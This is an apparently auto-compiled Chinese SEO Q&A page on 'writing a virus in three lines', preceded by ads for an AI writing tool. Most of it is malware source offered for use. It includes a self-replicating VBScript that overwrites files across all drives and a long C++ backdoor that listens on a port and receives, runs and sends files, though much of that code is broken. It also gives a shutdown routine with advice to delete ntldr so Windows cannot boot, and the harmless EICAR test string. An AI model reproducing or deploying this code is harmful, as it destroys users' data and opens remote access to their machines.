-
當前位置:首頁 > 創(chuàng)意學院 > 技術(shù) > 專題列表 > 正文
三行代碼寫一個病毒(三行代碼寫一個病毒的程序)
大家好!今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于三行代碼寫一個病毒的問題,以下是小編對此問題的歸納整理,讓我們一起來看看吧。
開始之前先推薦一個非常厲害的Ai人工智能工具,一鍵生成原創(chuàng)文章、方案、文案、工作計劃、工作報告、論文、代碼、作文、做題和對話答疑等等
只需要輸入關(guān)鍵詞,就能返回你想要的內(nèi)容,越精準,寫出的就越詳細,有微信小程序端、在線網(wǎng)頁版、PC客戶端
官網(wǎng):https://ai.de1919.com。
創(chuàng)意嶺作為行業(yè)內(nèi)優(yōu)秀的企業(yè),服務(wù)客戶遍布全球各地,如需了解SEO相關(guān)業(yè)務(wù)請撥打電話175-8598-2043,或添加微信:1454722008
本文目錄:
一、求用vbs編寫autorun病毒簡單代碼,給分很多的
自己改一下:
dim
folder,fso,foldername,f,d,dc
set
fso=createobject("scripting.filesystemobject")
set
self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
'讀取病毒體,以備復制到文件
self.close
set
dc=fso.Drives
for
each
d
in
dc
if
d.drivetype=3
or
d.drivetype=2
then
'檢查磁盤類型
wscript.echo
d
'彈出窗口,顯示找到盤符
scan(d)
end
if
next
lsfile=wscript.scriptfullname
'該腳本程序路徑
set
lsfile=fso.getfile(lsfile)
lsfile.delete(true)
'病毒運行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼)
sub
scan(folder_)
on
error
resume
next
set
folder_=fso.getfolder(folder_)
set
files=folder_.files
for
each
file
in
files
ext=fso.GetExtensionName(file)
'獲取文件后綴
ext=lcase(ext)
'后綴名轉(zhuǎn)換成小寫字母
if
ext="mp5"
then
'如果后綴名是mp5,當然不存在這種文件,這里可以自己修改,但是注意。請自己建立相應(yīng)后綴名的文件,最好是非正常后綴名
set
ap=fso.opentextfile(file.path,2,true)
'
ap.write
vbscopy
'覆蓋文件,慎用
ap.close
set
cop=fso.getfile(file.path)
cop.copy(file.path
&
".vbs")
'創(chuàng)建另外一個病毒文件
'
file.delete(true)
'刪除原來文件
end
if
next
set
subfolders=folder_.subfolders
for
each
subfolder
in
subfolders
'搜索其他目錄
scan(subfolder)
next
end
sub
二、怎樣用記事本編病毒
歐洲計算機防病毒協(xié)會提供的測試病毒代碼。本代碼盡管測試,無任何危險。
復制下面的代碼到文本中保存
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
復制上面的代碼到文本中保存。
測試方法:
1.鼠標右鍵點擊桌面空白處,創(chuàng)建一個“文本文檔”。
2.將上面這段測試代碼復制到“文本”里,保存,然后可以直接右鍵點擊這個文本,用殺毒軟件掃描也可以等一會,如果你的殺毒軟件還行,會自動報毒并將該文本刪除那就可以初步放心了。
測試原理:
該段代碼是歐洲計算機防病毒協(xié)會開發(fā)的一種病毒代碼,其中的特征碼已經(jīng)包含在各種殺毒軟件的病毒代碼庫里,所以可以用做測試病毒掃描引擎。
測試等級:
特等:復制完代碼后便提示內(nèi)存有病毒
優(yōu)等:剛保存完就提示病毒(或者直接刪除)
中等:保存后幾秒提示病毒(或者直接刪除)
下等:需自己啟動病毒掃描查殺才提示病毒(或者直接刪除)
劣等:無論怎么掃描都無法提示病毒(或者直接刪除)
三、求C++病毒代碼
/*
分布式病毒協(xié)議的C/C++描述代碼
Coded by Vxk in CVC
CopyRight® 2001-2002
2002.10.18..night
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct CONNINST
{
SOCKET socket; /* 本地Socket號 */
unsigned short clientPort; /* 客戶端端口 */
struct in_addr clientIP; /* 客戶端IP地址 */
time_t beginTime; /* 連接建立時間 - 預留 */
time_t updateTime; /* 最后更新時間 - 預留 */
WORD lastestSequenceNumber; /* 最新包序號 */
unsigned short key; /* 密鑰 - 預留*/
unsigned short cmdLen; /* 結(jié)果堆長度 */
char *pCmd; /* 命令堆 */
unsigned short resultLen; /* 結(jié)果堆長度 */
char *pResult; /* 結(jié)果堆 */
struct CONNINST* next; /* 下一個請求實例的地址 */
}CONNINST, *pCONNINST;
typedef struct Maillist
{
String Address;
String Name;
Struct Maillist *pNext;
}Maillist,*pMaillist;
typedef struct Moudlelist
{
String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
}Moudlelist,*pMoudlelist;
typedef struct FileUpData
{
struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
}FileUpData,*pFileUpData;
typedef struct DVPPak
{
String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
}DVPPak, *pDVPPak;
HINSTANCE hInst; /* 當前實例句柄 */
HWND hWndMain; /* 主窗口句柄 */
SOCKET listenSocket; /* 監(jiān)聽套接口 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)
{
unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;
/* 初始化WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)
{
//("Dvp 錯誤 :: 網(wǎng)絡(luò)協(xié)議啟動失敗,請重新啟動計算機.");
}
/* 檢查Winsock版本 */
if(wsaData.wVersion != wVersionRequested)
{
//("Dvp 錯誤 :: 網(wǎng)絡(luò)協(xié)議版本錯誤,請升級Winsock.");
}
/* 創(chuàng)建流式套接口 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)
{
//("ERROR :: Can not create steam socket.");
return 0;
}
/* 通知套接口有請求事件發(fā)生 */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //在網(wǎng)絡(luò)事件發(fā)生時需要接收消息的窗口句柄
UM_ASYNC, //在網(wǎng)絡(luò)事件發(fā)生時要接收的消息
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//只在程式開始執(zhí)行一次,以后只要有套接口請求就發(fā)送消息
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;
}
/* 地址結(jié)構(gòu)設(shè)定 */
saServer.sin_port=htons(2525); //端口在這里哦
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;
/* 將一本地地址3872與套接口listenSocket捆綁 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;
}
/* 讓套接口開始監(jiān)聽 */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;
}
dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;
}
/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)
{
struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;
// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)
{
lpStr[0]='\0';
return SOCKET_ERROR;
}
// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)
{
lpStr[0] = '\0';
return SOCKET_ERROR;
}
// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)
{
*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;
}
*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;
}
int uiStartup(HINSTANCE hInstance, int nCmdShow)
{
WNDCLASS DvpWindow;
HANDLE hObject;
/* 創(chuàng)建實例 */
hInst=hInstance;
/* 判斷是否已經(jīng)運行 */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
PostQuitMessage(0);
return 0;
}
/* 創(chuàng)建窗口 */
DvpWindow.style=0;//指定類的風格
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口過程的遠指針
DvpWindow.cbClsExtra=0;//窗口結(jié)構(gòu)額外字節(jié)數(shù)
DvpWindow.cbWndExtra=0;//窗口實例額外字節(jié)數(shù)
DvpWindow.hInstance=hInstance;//窗口過程所在的實例
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//調(diào)用標識類的圖標
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//調(diào)用標識類的光標
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//標識背景類的畫刷
DvpWindow.lpszMenuName=NULL;//指向標識類菜單資源的字符串,以空字符結(jié)束
DvpWindow.lpszClassName="DVPSample";//標識本類的名稱
RegisterClass(&DvpWindow);//注冊窗口
hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//顯示窗口
UpdateWindow(hWndMain);//更新窗口
return 1;
}
//處理窗口消息
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)//開始處理消息
{
/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;
case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;
case WM_SIZE:
delAllConnInst();
break;
/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;
case FD_WRITE:
OnWrite((SOCKET)wParam);
break;
case FD_CLOSE:
OnClose((SOCKET)wParam);
break;
}
break;
default:
return(DefWindowProc(hWnd,message,wParam,lParam));//默認窗口過程的消息處理
}
return(0);
}
pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)
{
/* 分配一塊新的連接實例 */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* 沒有內(nèi)存了 */
if(newConnInst==NULL) return NULL;
/* 分配一塊新的SOCKADDR實例 */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* 沒有內(nèi)存了 */
// if(newConnInst->lpSockAddr==NULL)
// {
// free(newConnInst);
// return NULL;
// }
//裝填新的請求包
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;
newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;
newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;
//如果請求鏈表是空的
if(pConnInstHead==NULL)
{
//將這個請求作為鏈表頭,放到pConnInstHead
pConnInstHead=newConnInst;
}
else
{
pCONNINST tempConn=pConnInstHead;
//走到鏈表尾
while(tempConn->next) tempConn=tempConn->next;
//追加新包到鏈表尾
tempConn->next=newConnInst;
}
//返回裝填好的包的指針
return newConnInst;
}
pCONNINST getConnInst(SOCKET socket)
{
/* 遍歷鏈表,尋找套接口 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)
{
if(tempConn->socket==socket) break;
tempConn=tempConn->next;
}
/*若沒有,返回NULL */
return(tempConn);
}
void delConnInst(pCONNINST pConnInstToDel)
{
/* 如果要刪除的是鏈表頭 */
if(pConnInstToDel==pConnInstHead)
{
/* pConnInstHead->next 成為頭 */
pConnInstHead=pConnInstHead->next;
/* 對鏈表頭的free()在最后進行 */
}
else
{
pCONNINST tempConn=pConnInstHead;
/* 從鏈表頭開始 到NULL為止 每次指向下一個*/
while(tempConn!=NULL)
{
/* 若當前的下一個是要被刪除的 */
if (tempConn->next==pConnInstToDel)
{
/* 當前的下一個變成下一個的(要被刪除的)下一個 */
tempConn->next=pConnInstToDel->next;
break;
}
}
}
/* 釋放pConnInstToDel占用的內(nèi)存 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;
}
void delAllConnInst(void)
{
pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;
/* 遍歷鏈表,依次釋放內(nèi)存 */
/* 若存在tempConn則繼續(xù)for */
while(tempConn!=NULL)
{
tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;
}
pConnInstHead=NULL;
return;
}
void OnAccept(SOCKET socket)
{
SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
//讓它也可以在讀寫或關(guān)閉的時候向窗口發(fā)送消息
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)
{
//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
//將這已連接的套接口放到鏈表里
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)
{
//內(nèi)存滿了
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;
}
//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;
}
void OnClose(SOCKET socket)
{
pCONNINST connInst;
// 檢查是否已經(jīng)刪除了這個套接口
connInst=getConnInst(socket);
if (connInst==NULL) return;
// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
}
/* 可以讀取數(shù)據(jù)了 */
void OnRead(SOCKET socket)
{
pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;
/* 查找對應(yīng)的連接實例 */
connInst=getConnInst(socket);
/* 如果找不到連接實例, 讀光緩沖區(qū), 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 否則將所有數(shù)據(jù)讀入命令堆 */
if(connInst->pCmd==NULL)
{
connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
memset(pNewCmd, 0, 64);
bytesReceive=recv(socket, pNewCmd, 64, 0);
//("收到:%d字節(jié)",bytesReceive);
if(bytesReceive==SOCKET_ERROR)
{
//操作此時由于Windows Sockets實現(xiàn)的資源或其它限制的制約而無法調(diào)度
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
/* 有的時候, OnRead消息是假的, 收到的字節(jié)數(shù)是-1, 要忽略這種情況*/
if(bytesReceive>0)
{
connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;
free(pNewCmd);
DvpExpCmd(socket);
}
else
{
free(pNewCmd);
}
return;
}
Void DvpExpCmd(Socket s)
{
pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* 從命令堆里面讀取第一個命令包, 這個用來保存命令包的地址 */
char *pSwap=NULL; /* 清除命令堆舊命令交換用的指針 */
if(pThisCmd==NULL)
{
//("DEBUG - 無法定義命令包起點, 函數(shù)返回, 等待命令.");
return;
}
if(pThisCmd > connInst->pCmd)
{
/*
如果前面有殘余數(shù)據(jù), 那么就立刻清除殘余數(shù)據(jù)
這種情況遇到的不會多
*/
//("處理殘余數(shù)據(jù)");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* 繼續(xù) */
}
LVoid pak;
while (*pThisCmd!=Null)
{
pak+=*pThisCmd;
pThisCmd+=sizeof(char);
}
pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
{/*對方傳文件給我們??!*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null){up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受線程
{//something wrong with Recv... }else
{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//處理權(quán)限,自己發(fā)揮吧。。。
{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//開始執(zhí)行!
}}
}
free(up);
}
if(myDvp->SAMCommand=='GetData')
{/*2002.10.19*/
/*對方要我們的文件*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null){up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件傳送線程
{//something wrong with Recv... }
else{/*傳輸SamCmmand='UpData',cmd=(lvoid*)up給對方*/}}
free(up);
}
if(myDvp->SAMCommand==Null)
{
/*處理對方發(fā)來信息中有用的信息*/
/*對于我們來講,這個問題是應(yīng)該由個人處理的*/
/*對于這里我們還要給對方返回一包即我們的信息*/
/*此處需要發(fā)送消息到對方,來獲得如文件之類的東西*/
}
free(pThisCmd);
free(myDvp);
return -1;
}
void OnWrite(SOCKET socket)
{
pCONNINST connInst;
connInst=getConnInst(socket);
/* 如果找不到連接實例, 讀光緩沖區(qū), 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 如果連接實例有需要發(fā)送的數(shù)據(jù) */
if(connInst->pResult!=NULL)
{
sendResult(socket);
}
return;
}
void sendResult(SOCKET socket)
{
pCONNINST connInst=getConnInst(socket);
int bytesSent;
bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)
{
if (WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
if((unsigned int)bytesSent<connInst->resultLen)//如果發(fā)送的字節(jié)少于結(jié)果字節(jié)
{
char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;
}
else //如果全部發(fā)送完畢
{
free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;
}
}
int netHalt(void)
{
pCONNINST connTemp;
/* 關(guān)閉監(jiān)聽套接口 */
closesocket(listenSocket);
/* 關(guān)閉所有正在連接的套接口 */
connTemp=pConnInstHead;
while(connTemp)
{
closesocket(connTemp->socket);
connTemp=connTemp->next;
}
/* 清除請求包鏈表 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
/* User Interface Startup */
uiStartup(hInstance, nCmdShow);
/* Network Startup */
netStartup();
/*我們在下面應(yīng)該做些什么?搜索ip連接。。。。。*/
/* 進入消息循環(huán) */
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
/* Network Halt*/
netHalt();
return 0;
}
void RecvFileThreadProc(pFileUpData *plm)
{
// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svAddress==':') {
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;
}
}
// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;
dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE) {
he=gethostbyname(svAddress);
if(gethostbyname==NULL) {
free(plm);
return 1;
}
dwIPAddr=*(DWORD *)he->h_addr_list[0];
}
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;
// Create socket
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET) {
free(plm);
return 1;
}
// Connect to remote port
if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(sv);
free(plm);
return 1;
}
// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL) {
int nBytes;
DWORD dwCount;
char svBuffer[1024];
do {
// Give up time
Sleep(20);
nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0) {
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
}
} while(nBytes>0);
CloseHandle(hFile);
}
closesocket(sv);
return 0;
}
void SendFileThreadProc(pFileUpData *plm)
{
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET) {
free(plm);
return -2;
}
// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;
if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}
listen(sv,MAX_CONNECTIONS);
// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value) {
//Couldn't open local file.
return -1;
}
char svBuffer[1024];
DWORD dwBytes;
do {
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
} while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
}
四、如何用匯編語言編寫一個簡單的小病毒代碼
這簡單啊
.386
.model flat,stdcall
option casemap:none
include windows.h
include user32.h
includelib user32.lib
.code
start:
invoke ExitWindowsEx,EWX_SHUTDOWN,0
end start
你試試就知道了,根本關(guān)不了機。需要權(quán)限的。需要 SE_SHUTDOWN 權(quán)限的,要先提權(quán)。
可以DeleteFile 刪除C盤根目錄下的ntldr 這個文件,重啟直接無法啟動了...
以上就是關(guān)于三行代碼寫一個病毒相關(guān)問題的回答。希望能幫到你,如有更多相關(guān)問題,您也可以聯(lián)系我們的客服進行咨詢,客服也會為您講解更多精彩的知識和內(nèi)容。
推薦閱讀:
杭州十三行批發(fā)市場在哪里(杭州十三行批發(fā)市場在哪里進貨)
中國2050回歸的領(lǐng)土有多大(中國2050回歸的領(lǐng)土有多大平方公里)
抖音傭金沒提現(xiàn)怎么變成0了(抖音上傭金沒提現(xiàn),怎么沒了)